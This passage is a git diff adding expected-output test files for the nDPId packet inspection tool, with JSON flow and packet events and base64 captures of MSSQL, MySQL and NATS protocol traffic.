+00778{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1278068444,"pkt_ts_usec":650715,"pkt_caplen":322,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":322,"pkt_l4_len":288,"pkt":"ADAFzckRADAFzck9CABFAAE0T9pAAIAGJgsKb29vCgAAAVbOBZn+D2d0K1+fyFAY+5tcOQAAAwkBDAAAAQAXAHAAcgBvAGMAXwBGAGUAdABjAGgATQB5AEUAeABhAG0AcABsAGUARABhAHQAYQAAAAAAJBAQASNFZ4mrze8BI0VniavN7wAA5wAACQQAATIAAAAA5woACQQAATIKAEIATwBHAFUAUwAAAGgBAQAAAG8ICP7\/\/\/8AAAAAAAAmBAQAAAAAAAAmBAQAAAAAAAAmBAAAACQQAAAAaAEAAAAmAQEAAAClHAAcAAEjRWeJq83vASNFZ4mrze8BI0VniavN7wEjRWcAACYEAAAAJgEBAQAAJgQEAABQAAAAJggILQAAAAAAAAAAACYBAQEAAGgBAQAAAOcCAAkEAAEy\/\/8AASYBAA=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":37,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1278068444650,"flow_last_seen":0,"flow_tot_l4_data_len":288,"flow_min_l4_data_len":288,"flow_max_l4_data_len":288,"flow_avg_l4_data_len":288,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":22222,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1278068444666,"flow_last_seen":0,"flow_tot_l4_data_len":340,"flow_min_l4_data_len":340,"flow_max_l4_data_len":340,"flow_avg_l4_data_len":340,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":33333,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00849{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1278068444,"pkt_ts_usec":666075,"pkt_caplen":374,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":374,"pkt_l4_len":340,"pkt":"ADAFzckRADAFzck9CABFAAFoT95AAIAGJdMKb29vCgAAAYI1BZl4aO73Gv+xN1AY\/dgFJQAAAwkBQAAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAAHQBkAGIAbwAuAHAAcgBvAGMAXwBHAGUAdABNAHkAUwBhAG0AcABsAGUARABhAHQAYQBJAHQAZQBtAHMAAAANQABTAGEAbQBwAGwAZQBJAHQAZQBtAEkAZAAAJBAQZhrDThSiU0infucGD\/\/\/BwdAAEQAYQB0AGEASQBkAADnAgAJBBAAAP\/\/DUAARABhAHQAYQBJAHQAZQBtAFQAeQBwAGUAACQQEJtFubyog2RFsdPp4ZhHj04IQABUAGEAYgBsAGUASQBkAADnAgAJBBAAAP\/\/DUAATQBhAHgARgBlAHQAYwBoAFMAaQB6AGUAACYEBGQAAAASQABTAG8AbQBlAE8AdABoAGUAcgBTAGEAbQBwAGwAZQBJAGQAACYEBAAAAAA="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":38,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1278068444666,"flow_last_seen":0,"flow_tot_l4_data_len":340,"flow_min_l4_data_len":340,"flow_max_l4_data_len":340,"flow_avg_l4_data_len":340,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":33333,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} diff --git a/test/results/mysql-8.pcap.out b/test/results/mysql-8.pcap.out new file mode 100644 index 000000000..64ae25177 --- /dev/null +++ b/test/results/mysql-8.pcap.out @@ -0,0 +1,6 @@ +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"mysql-8.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946708780103,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"10.42.18.198","src_port":8738,"dst_port":3306,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"mysql-8.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946708780,"pkt_ts_usec":103266,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"IiIiIiIiRERERERECABFAAA8OA9AAEAGI6zAqAFpCioSxiIiDOqSBUElAAAAAKACchDH0wAAAgQFtAQCCAoAA3kqAAAAAAEDAwY="} +00433{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"mysql-8.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946708780,"pkt_ts_usec":103549,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"REREREREIiIiIiIiCABFAAA8AABAAD8GXLsKKhLGwKgBaQzqIiISTcRTkgVBJqAScSDgsQAAAgQFtAQCCAoAARFeAAN5KgEDAwc="} +00421{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"mysql-8.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946708780,"pkt_ts_usec":103766,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IiIiIiIiRERERERECABFAAA0OBBAAEAGI7PAqAFpCioSxiIiDOqSBUEmEk3EVIAQAcl+1QAAAQEICgADeSoAARFe"} +00541{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"mysql-8.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946708780,"pkt_ts_usec":104285,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"REREREREIiIiIiIiCABFCACL1QpAAD8Gh1kKKhLGwKgBaQzqIiISTcRUkgVBJoAYAONr2QAAAQEICgABEV4AA3kqUwAAAAo4LjUuNDQtMCtkZWI4dTEAJgAAADFeaXQqciJNAP\/3CAIAD4AVAAAAAAAAAAAAAEA6PmshXjc2SlA1WABteXNxbF9uYXRpdmVfcGFzc3dvcmQA"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"mysql-8.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":946708780103,"flow_last_seen":946708780104,"flow_tot_l4_data_len":231,"flow_min_l4_data_len":32,"flow_max_l4_data_len":119,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"10.42.18.198","src_port":8738,"dst_port":3306,"l4_proto":"tcp","ndpi": {"proto":"MySQL","breed":"Acceptable","category":"Database"}} diff --git a/test/results/nats.pcap.out b/test/results/nats.pcap.out new file mode 100644 index 000000000..7f26aba30 --- /dev/null +++ b/test/results/nats.pcap.out @@ -0,0 +1,54 @@ +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":558498,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AgAAAEUAAEAAAEAAQAYAAH8AAAF\/AAAB1iQQfvCJzTwAAAAAsAL\/\/\/40AAACBD\/YAQMDBQEBCAo2lJ5iAAAAAAQCAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":558594,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AgAAAEUAAEAAAEAAQAYAAH8AAAF\/AAABEH7WJA7LPw3wic09sBL\/\/\/40AAACBD\/YAQMDBQEBCAo2lJ5iNpSeYgQCAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":558607,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAB1iQQfvCJzT0Oyz8OgBAx1\/4oAAABAQgKNpSeYjaUnmI="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":558622,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABEH7WJA7LPw7wic09gBAx1\/4oAAABAQgKNpSeYjaUnmI="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00781{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":566119,"pkt_caplen":365,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":365,"pkt_l4_len":0,"pkt":"AgAAAEUAAWkAAEAAQAYAAH8AAAF\/AAABEH7WJA7LPw7wic09gBgx1\/9dAAABAQgKNpSeaTaUnmJJTkZPIHsic2VydmVyX2lkIjoiTkFMRzU2SFFaNEM0SUxSSENHWVdNQ1NCVkM1VzJRSFg2V0tHSDdBMkkzNFAzRENFSElTTjcyQjciLCJzZXJ2ZXJfbmFtZSI6Ik5BTEc1NkhRWjRDNElMUkhDR1lXTUNTQlZDNVcyUUhYNldLR0g3QTJJMzRQM0RDRUhJU043MkI3IiwidmVyc2lvbiI6IjIuMS42IiwicHJvdG8iOjEsImdpdF9jb21taXQiOiI4YzhkNmY4IiwiZ28iOiJnbzEuMTMuOSIsImhvc3QiOiIwLjAuMC4wIiwicG9ydCI6NDIyMiwibWF4X3BheWxvYWQiOjEwNDg1NzYsImNsaWVudF9pZCI6MSwiY2xpZW50X2lwIjoiMTI3LjAuMC4xIn0gDQo="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00366{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":566149,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAB1iQQfvCJzT0Oy0BDgBAxzf4oAAABAQgKNpSeaTaUnmk="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00548{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":566493,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AgAAAEUAALsAAEAAQAYAAH8AAAF\/AAAB1iQQfvCJzT0Oy0BDgBgxzf6vAAABAQgKNpSeaTaUnmlDT05ORUNUIHsidmVyYm9zZSI6ZmFsc2UsInBlZGFudGljIjpmYWxzZSwidGxzX3JlcXVpcmVkIjpmYWxzZSwibmFtZSI6IiIsImxhbmciOiJDIiwidmVyc2lvbiI6IjIuMS4wIiwicHJvdG9jb2wiOjEsImVjaG8iOnRydWV9DQpQSU5HDQo="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":566523,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABEH7WJA7LQEPwic3EgBAx0\/4oAAABAQgKNpSeaTaUnmk="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":570367,"pkt_caplen":62,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"pkt":"AgAAAEUAADoAAEAAQAYAAH8AAAF\/AAABEH7WJA7LQEPwic3EgBgx0\/4uAAABAQgKNpSebTaUnmlQT05HDQo="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":570393,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAB1iQQfvCJzcQOy0BJgBAxzf4oAAABAQgKNpSebTaUnm0="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":10,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":570795,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAB1iQQfvCJzcQOy0BJgBExzf4oAAABAQgKNpSebTaUnm0="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":11,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":570821,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABEH7WJA7LQEnwic3FgBAx0\/4oAAABAQgKNpSebTaUnm0="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":12,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":570938,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAYAAH8AAAF\/AAAB1iQQfvCJzcUOy0BJUBQxzf4cAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":13,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":575502,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AgAAAEUAAEAAAEAAQAYAAH8AAAF\/AAAB1iUQftDrd0kAAAAAsAL\/\/\/40AAACBD\/YAQMDBQEBCAo2lJ5xAAAAAAQCAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":14,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":575592,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AgAAAEUAAEAAAEAAQAYAAH8AAAF\/AAABEH7WJfixMBXQ63dKsBL\/\/\/40AAACBD\/YAQMDBQEBCAo2lJ5yNpSecQQCAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":15,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":575609,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAB1iUQftDrd0r4sTAWgBAx1\/4oAAABAQgKNpSecjaUnnI="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":16,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":575625,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABEH7WJfixMBbQ63dKgBAx1\/4oAAABAQgKNpSecjaUnnI="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":17,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00782{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":577107,"pkt_caplen":365,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":365,"pkt_l4_len":0,"pkt":"AgAAAEUAAWkAAEAAQAYAAH8AAAF\/AAABEH7WJfixMBbQ63dKgBgx1\/9dAAABAQgKNpSeczaUnnJJTkZPIHsic2VydmVyX2lkIjoiTkFMRzU2SFFaNEM0SUxSSENHWVdNQ1NCVkM1VzJRSFg2V0tHSDdBMkkzNFAzRENFSElTTjcyQjciLCJzZXJ2ZXJfbmFtZSI6Ik5BTEc1NkhRWjRDNElMUkhDR1lXTUNTQlZDNVcyUUhYNldLR0g3QTJJMzRQM0RDRUhJU043MkI3IiwidmVyc2lvbiI6IjIuMS42IiwicHJvdG8iOjEsImdpdF9jb21taXQiOiI4YzhkNmY4IiwiZ28iOiJnbzEuMTMuOSIsImhvc3QiOiIwLjAuMC4wIiwicG9ydCI6NDIyMiwibWF4X3BheWxvYWQiOjEwNDg1NzYsImNsaWVudF9pZCI6MiwiY2xpZW50X2lwIjoiMTI3LjAuMC4xIn0gDQo="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":18,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":577132,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAB1iUQftDrd0r4sTFLgBAxzf4oAAABAQgKNpSeczaUnnM="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":19,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00549{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":580297,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AgAAAEUAALsAAEAAQAYAAH8AAAF\/AAAB1iUQftDrd0r4sTFLgBgxzf6vAAABAQgKNpSedjaUnnNDT05ORUNUIHsidmVyYm9zZSI6ZmFsc2UsInBlZGFudGljIjpmYWxzZSwidGxzX3JlcXVpcmVkIjpmYWxzZSwibmFtZSI6IiIsImxhbmciOiJDIiwidmVyc2lvbiI6IjIuMS4wIiwicHJvdG9jb2wiOjEsImVjaG8iOnRydWV9DQpQSU5HDQo="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":20,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":580330,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABEH7WJfixMUvQ63fRgBAx0\/4oAAABAQgKNpSedjaUnnY="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":21,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":581349,"pkt_caplen":62,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"pkt":"AgAAAEUAADoAAEAAQAYAAH8AAAF\/AAABEH7WJfixMUvQ63fRgBgx0\/4uAAABAQgKNpSedzaUnnZQT05HDQo="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":22,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288040,"pkt_ts_usec":581382,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAB1iUQftDrd9H4sTFRgBAxzf4oAAABAQgKNpSedzaUnnc="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":23,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288042,"pkt_ts_usec":775543,"pkt_caplen":62,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"pkt":"AgAAAEUAADoAAEAAQAYAAH8AAAF\/AAABEH7WJfixMVHQ63fRgBgx0\/4uAAABAQgKNpSm4zaUnndQSU5HDQo="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":24,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288042,"pkt_ts_usec":775575,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAB1iUQftDrd9H4sTFXgBAxzf4oAAABAQgKNpSm4zaUpuM="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":25,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288042,"pkt_ts_usec":776117,"pkt_caplen":62,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"pkt":"AgAAAEUAADoAAEAAQAYAAH8AAAF\/AAAB1iUQftDrd9H4sTFXgBgxzf4uAAABAQgKNpSm4zaUpuNQT05HDQo="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":26,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"nats.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1586288042,"pkt_ts_usec":776134,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABEH7WJfixMVfQ63fXgBAx0v4oAAABAQgKNpSm4zaUpuM="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":27,"source":"nats.pcap","alias":"nDPId-test","datalink":0,"header":33554432} diff --git a/test/results/nest_log_sink.pcap.out b/test/results/nest_log_sink.pcap.out new file mode 100644 index 000000000..c9e1368af --- /dev/null +++ b/test/results/nest_log_sink.pcap.out @@ -0,0 +1,270 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1536712992228,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63340,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 